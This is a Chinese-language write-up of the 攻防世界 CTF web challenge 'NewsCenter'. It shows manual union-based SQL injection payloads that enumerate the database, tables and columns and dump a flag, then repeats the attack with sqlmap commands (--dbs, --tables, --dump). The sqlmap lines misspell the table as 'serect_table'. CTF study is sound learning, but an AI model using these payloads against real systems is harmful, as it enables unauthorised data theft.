ctf-攻防世界-web:NewsCenter

打开环境,功能点只有一个查找新闻,猜测是sql注入ctf-攻防世界-web:NewsCenter_第1张图片

一.手工注入

 从最基础的联合查询注入开始

1正常     1'报错    1' '正常      

猜测为字符型注入,单引号闭合

1' order by 1,2,3 ;' 正常        1' order by 1,2,3,4 ;'报错

可见一共3列 (;将前后语句分开,'闭合后面的语句,也可以用#替代;'注释掉后面的语句)

1' union select 1,2,3;'       

 页面显示2和3,则2和3为显示位

ctf-攻防世界-web:NewsCenter_第2张图片

1' union select 1,database(),3 ;'        

查询数据库名,结果为news

1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='news';'      

查询表名,有两个表

ctf-攻防世界-web:NewsCenter_第3张图片

1' union select 1, group_concat(column_name), 3 from information_schema.columns where table_name="secret_table" ;'

查询secret_table表里的列名,有两个

ctf-攻防世界-web:NewsCenter_第4张图片

1' union select 1, fl4g,3 from secret_table;'

查询fl4g里面的字段,出现flag

 ctf-攻防世界-web:NewsCenter_第5张图片

二.sqlmap

搜索框中填入内容,如‘1’,回车搜索抓包,将抓到包的内容保存在txt文档里

ctf-攻防世界-web:NewsCenter_第6张图片

使用sqlmap的-r进行注入如下,其中C:\Users\xxx\Desktop\1.txt为保存数据包的txt文件绝对路径

#查找数据库
sqlmap.py -r "C:\Users\xxx\Desktop\1.txt" --dbs

#或查找当前数据库
sqlmap.py -r "C:\Users\xxx\Desktop\1.txt" --current-dbs

#查找news数据库中的表
sqlmap.py -r "C:\Users\xxx\Desktop\1.txt" -D news --tables

ctf-攻防世界-web:NewsCenter_第7张图片

 #查找secret_table表中的列
sqlmap.py -r "C:\Users\xxx\Desktop\1.txt" -D news -T serect_table --columns

ctf-攻防世界-web:NewsCenter_第8张图片

#查找fl4g列中的字段(内容),出现flag
sqlmap.py -r "C:\Users\xxx\Desktop\1.txt" -D news -T serect_table -C fl4g --dump

ctf-攻防世界-web:NewsCenter_第9张图片

你可能感兴趣的:(#,web,前端,sql,安全)